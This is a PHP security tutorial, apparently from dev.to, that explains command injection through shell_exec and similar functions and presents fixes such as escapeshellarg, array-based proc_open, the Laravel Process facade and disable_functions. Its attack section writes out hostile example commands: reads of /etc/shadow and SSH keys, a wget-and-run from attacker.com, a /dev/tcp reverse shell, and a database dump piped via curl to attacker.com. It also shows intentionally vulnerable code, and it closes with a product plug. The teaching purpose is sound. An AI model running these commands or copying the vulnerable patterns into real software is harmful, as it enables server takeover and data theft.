Command Injection in PHP — When exec() Becomes an Attack Surface

php dev.to

Orinally published on Medium and Kriosa
One unsanitized argument reaching a shell function is all an attacker needs to own your server. Here's how command injection works, why blacklist filters always fail, and the fixes that actually stop it.
This is the ninth article in a series on PHP and Laravel application security.

So far we have covered:

  • Detecting SQL injection attempts in PHP logs
  • Why URL encoding blinds most PHP security checks
  • The decode bomb problem with unlimited URL decoding
  • Why parameterized queries are the only real fix for SQL injection
  • XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
  • How attackers enumerate your Laravel app before exploiting it
  • File upload security — the file that isn't what it claims to be
  • Path traversal in PHP — how ../ escapes your application

Every article in this series follows the same principle: understand the attack before you try to stop it.

Command injection is no different. And it is the most severe vulnerability in this series — because it does not just expose your data. It hands an attacker the keys to your entire server.

What Command Injection Actually Is

Command injection is an attack where an attacker injects operating system commands into your application and your server executes them.

It is similar in structure to SQL injection — user input gets interpreted as a command instead of data. But the consequences are more immediate and more severe. SQL injection attacks your database. Command injection attacks your entire server.

One unsanitized argument. One shell function. Full server takeover.

Why PHP Is Particularly Exposed

PHP has several functions that execute operating system commands directly:

exec()
shell_exec()
system()
passthru()
popen()
proc_open()
// And the backtick operator
`command`
Enter fullscreen mode Exit fullscreen mode

These functions exist for legitimate reasons — generating image thumbnails, converting file formats, sending emails via sendmail, running system utilities. The problem is when user input reaches them without sanitization.

The Attack in Plain Terms

Your application converts uploaded images:

$filename = $_GET['file'];
$output = shell_exec('convert ' . $filename . ' -resize 800x600 output.jpg');
Enter fullscreen mode Exit fullscreen mode

A legitimate user sends:

file=photo.jpg

The command becomes:

convert photo.jpg -resize 800x600 output.jpg

Clean. Expected. Safe.

An attacker sends:

file=photo.jpg; cat /etc/passwd

The command becomes:

convert photo.jpg -resize 800x600 output.jpg; cat /etc/passwd

The semicolon tells the shell: run the first command, then run the second. Your server outputs the contents of /etc/passwd. The attacker now knows every user account on the system.

That is command injection. One semicolon. One unsanitized input. Complete information disclosure.

The Command Chaining Characters

Attackers use several characters to chain commands:

; — run command1 then command2
&& — run command2 only if command1 succeeds
|| — run command2 only if command1 fails
| — pipe output of command1 into command2
command — backtick executes command inline
$(command) — subshell execution
\n — newline separates commands in some contexts
Each works differently. All achieve the same result — injecting additional commands into your shell execution.

What Attackers Do After Getting Command Execution

Once an attacker has command execution they move fast.

Read sensitive files:

cat /var/www/.env
cat /etc/shadow
cat ~/.ssh/id_rsa
Enter fullscreen mode Exit fullscreen mode

Download and execute malware:

wget https://attacker.com/malware.sh -O /tmp/m.sh && chmod +x /tmp/m.sh && /tmp/m.sh
Enter fullscreen mode Exit fullscreen mode

Open a reverse shell — persistent access:

bash -i >& /dev/tcp/attacker.com/4444 0>&1
Enter fullscreen mode Exit fullscreen mode

This opens a persistent connection from your server to the attacker's machine. They type commands on their end. Your server executes them. They now have an interactive terminal on your server — from anywhere in the world.

Exfiltrate your entire database:

mysqldump -u root -pPASSWORD database | curl -X POST attacker.com/receive -d @-
Enter fullscreen mode Exit fullscreen mode

All of this from one unsanitized input reaching shell_exec().

The PHP Functions That Create This Risk

Image processing:

// Dangerous
$file = $_POST['filename'];
shell_exec('convert ' . $file . ' thumbnail.jpg');
Enter fullscreen mode Exit fullscreen mode

PDF generation:

// Dangerous
$url = $_GET['url'];
shell_exec('wkhtmltopdf ' . $url . ' output.pdf');
Enter fullscreen mode Exit fullscreen mode

Network diagnostic tools:

// Dangerous
$host = $_GET['host'];
$result = shell_exec('ping -c 4 ' . $host);
echo $result;
Enter fullscreen mode Exit fullscreen mode

Ping tools are one of the most common places command injection appears in PHP applications. Developers build a network diagnostic feature and forget the host parameter goes directly into a shell command.

ZIP file creation:

// Dangerous
$name = $_POST['archive_name'];
shell_exec('zip -r ' . $name . '.zip /var/www/storage/uploads/');
Enter fullscreen mode Exit fullscreen mode

The Wrong Fixes

Wrong fix 1 — Filtering specific characters:

$file = str_replace(';', '', $_POST['filename']);
shell_exec('convert ' . $file . ' thumbnail.jpg');
Enter fullscreen mode Exit fullscreen mode

The attacker uses && instead of ;. Bypassed instantly.

Wrong fix 2 — Blacklisting known bad characters:

$badChars = [';', '&&', '||', '|', '`'];
foreach ($badChars as $char) {
    if (strpos($_POST['filename'], $char) !== false) {
        die('Invalid input');
    }
}
Enter fullscreen mode Exit fullscreen mode

The attacker uses $() subshell syntax or a newline character. Bypassed.

Blacklist-based filters always fail for command injection for the same reason they fail for SQL injection and XSS — the number of ways to represent shell metacharacters is effectively unlimited. You are playing catch-up against an attacker who has infinite variations. You cannot win that game.

The Correct Fixes

Fix 1 — escapeshellarg() for user-supplied values

escapeshellarg() wraps a value in single quotes and escapes any single quotes within it. This forces the shell to treat the entire value as a single argument — not as a command:

// Safe
$file = escapeshellarg($_POST['filename']);
shell_exec('convert ' . $file . ' -resize 800x600 output.jpg');
Enter fullscreen mode Exit fullscreen mode

If the attacker sends photo.jpg; cat /etc/passwd the function produces:
'photo.jpg; cat /etc/passwd'
The shell treats the semicolon as part of the filename string — not as a command separator. The injection fails.

Use escapeshellarg() for every individual user-supplied argument that reaches a shell function. It is the most important single function in PHP for command injection prevention.

Fix 2 — escapeshellcmd() for the full command

escapeshellcmd() escapes shell metacharacters in a complete command string. It is less targeted than escapeshellarg() and should not be used as a substitute for escaping individual arguments.

The correct pattern is: use escapeshellarg() on each user-supplied value, and optionally use escapeshellcmd() on the full command string as an additional layer.

Fix 3 — Avoid shell functions entirely

The strongest fix is not calling shell commands at all. Most things developers use shell commands for have PHP library alternatives:

Instead of calling ImageMagick via shell:

// Dangerous
shell_exec('convert ' . $file . ' thumbnail.jpg');

// Safe — PHP's Imagick extension
$imagick = new Imagick($file);
$imagick->resizeImage(800, 600, Imagick::FILTER_LANCZOS, 1);
$imagick->writeImage('thumbnail.jpg');
Enter fullscreen mode Exit fullscreen mode

Instead of calling zip via shell:

// Dangerous
shell_exec('zip -r archive.zip ' . $directory);

// Safe — PHP's ZipArchive
$zip = new ZipArchive();
$zip->open('archive.zip', ZipArchive::CREATE);
$zip->addFile($filepath, basename($filepath));
$zip->close();
Enter fullscreen mode Exit fullscreen mode

If PHP has a native library for what you need — use it. Shell commands should be a last resort.

Fix 4 — Array-based process execution

When you must run external commands pass arguments as an array rather than a string. When PHP receives an array it passes arguments directly to the operating system without invoking a shell interpreter. No shell means no shell metacharacter parsing. No parsing means no injection.

// Dangerous — string goes through shell
shell_exec('convert ' . $file . ' output.jpg');

// Safe — array bypasses shell entirely
$process = proc_open(
    ['convert', $file, '-resize', '800x600', 'output.jpg'],
    [1 => ['pipe', 'w'], 2 => ['pipe', 'w']],
    $pipes
);
Enter fullscreen mode Exit fullscreen mode

The difference is fundamental. A string command goes through /bin/sh which interprets every metacharacter. An array command goes directly to the kernel which treats every element as a literal argument.

Fix 5 — Whitelist before any shell call

If you must use shell commands with user input validate against a strict whitelist before the input reaches any shell function:

$allowedFiles = ['photo1.jpg', 'photo2.jpg', 'photo3.jpg'];
$file = $_POST['filename'];

if (!in_array($file, $allowedFiles, true)) {
    die('Invalid file.');
}

shell_exec('convert ' . escapeshellarg($file) . ' thumbnail.jpg');
Enter fullscreen mode Exit fullscreen mode

Whitelist first. Escape second. Both layers together.

Laravel and Command Injection

Laravel 10+ provides a Process facade for running external processes safely:

use Illuminate\Support\Facades\Process;

// Safe — array arguments bypass shell interpretation
$result = Process::run(['convert', $filename, '-resize', '800x600', 'output.jpg']);

if ($result->successful()) {
    // process the output
}
Enter fullscreen mode Exit fullscreen mode

When you pass an array of arguments the Process facade passes them directly to the operating system without going through a shell interpreter. Shell metacharacters in arguments have no effect because there is no shell parsing them.

This is the correct way to run external commands in Laravel. No shell string. No injection risk.

The disable_functions Safety Net

PHP's php.ini allows you to disable dangerous functions entirely:

; php.ini
disable_functions = exec,shell_exec,system,passthru,popen,proc_open
Enter fullscreen mode Exit fullscreen mode

If your application does not need to execute shell commands — and most do not — disable these functions at the server level. An attacker who finds an injection point cannot exploit it if the function does not exist.

This is a server-level safety net. It does not replace code-level fixes but limits damage if a vulnerability exists.

The Command Injection Prevention Checklist

For plain PHP:

  • Never concatenate user input directly into shell command strings
  • Use escapeshellarg() on every user-supplied argument before it reaches a shell function
  • Use array-based process execution with proc_open() instead of string commands where possible
  • Use PHP native libraries instead of shell commands wherever they exist
  • Validate user input against a strict whitelist before any shell call
  • Disable unused shell functions in php.ini with disable_functions
  • Never rely on blacklist-based character filtering for command injection prevention

For Laravel:

  • Use the Process facade with array arguments — never string commands
  • Validate and whitelist any user-supplied values before passing to Process
  • Disable shell functions in php.ini if your application does not need them
  • Use Laravel's native file handling, image processing, and archive libraries before reaching for shell commands

What Was Hitting a Live PHP App Last Week

Last week Kriosa blocked 306 attacks on a live PHP application. Several of those were command injection probes — automated scanners sending payloads that appended system information commands, file-reading operations, and subshell expressions in file parameters, URL fields, and form inputs.

Here is what one of those attempts looked like in the Kriosa dashboard:

![Command injection is one of the most dangerous vulnerabilities in PHP because a single unsanitized argument reaching a shell function can lead to full server compromise.

In this article, you'll learn:

  • What command injection is and how it works
  • Why functions like exec(), shell_exec(), system(), and passthru() are high risk
  • Common attack techniques and real-world vulnerable code patterns
  • Why blacklist-based filtering fails
  • How to prevent command injection with escapeshellarg(), escapeshellcmd(), input validation, and safer alternatives
  • Secure approaches for both plain PHP and Laravel applications
  • A practical prevention checklist you can apply immediately

Whether you're building PHP applications from scratch or maintaining Laravel projects, understanding command injection is essential to protecting your applications from one of the most severe classes of web vulnerabilities.

Feedback, questions, and alternative approaches are always welcome in the comments.
](https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/s063bttr5v19w8d34e9k.png)

The dashboard shows not just that the request was blocked — but why. Which features of the request triggered the ML model. What the confidence score was. What attack category it matched.

Most middleware block silently. Kriosa shows you the reasoning.

If you are running a PHP or Laravel app right now, the same automated scanners that hit this application are hitting yours. The question is whether you can see it when it happens.

Try it free: kriosa.com

Install it with Composer, then drop this in at the top of your entry point:

<?php
// After Composer installation
require_once 'vendor/autoload.php';
$apiKey = getenv('KRIOSA_API_KEY') ?: 'YOUR_API_KEY_HERE';
try {
    $kriosa = new Kriosa($apiKey, [
        'timeout'     => 3,
        'debug'       => false,
        'fail_closed' => false,
        'show_badge'  => true,
    ]);
    if (!$kriosa->protect()) {
        header('X-Kriosa-Blocked: true');
        http_response_code(403);
        exit('Access Denied');
    }
} catch (Exception $e) {
    error_log('Kriosa Security Error: ' . $e->getMessage());
}
// Your application continues safely...
Enter fullscreen mode Exit fullscreen mode

Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.

The Series So Far

  1. What your PHP logs actually look like during a SQL injection attack
  2. Why URL encoding can break PHP security checks
  3. The decode bomb problem — why unlimited URL decoding can be its own vulnerability
  4. Parameterized queries — the only real fix for SQL injection
  5. XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
  6. How attackers enumerate your Laravel app and what to hide
  7. File upload security in PHP and Laravel
  8. Path traversal in PHP — how ../ escapes your application
  9. This article — command injection in PHP and when exec() becomes an attack surface.

Source: dev.to

arrow_back Back to Tutorials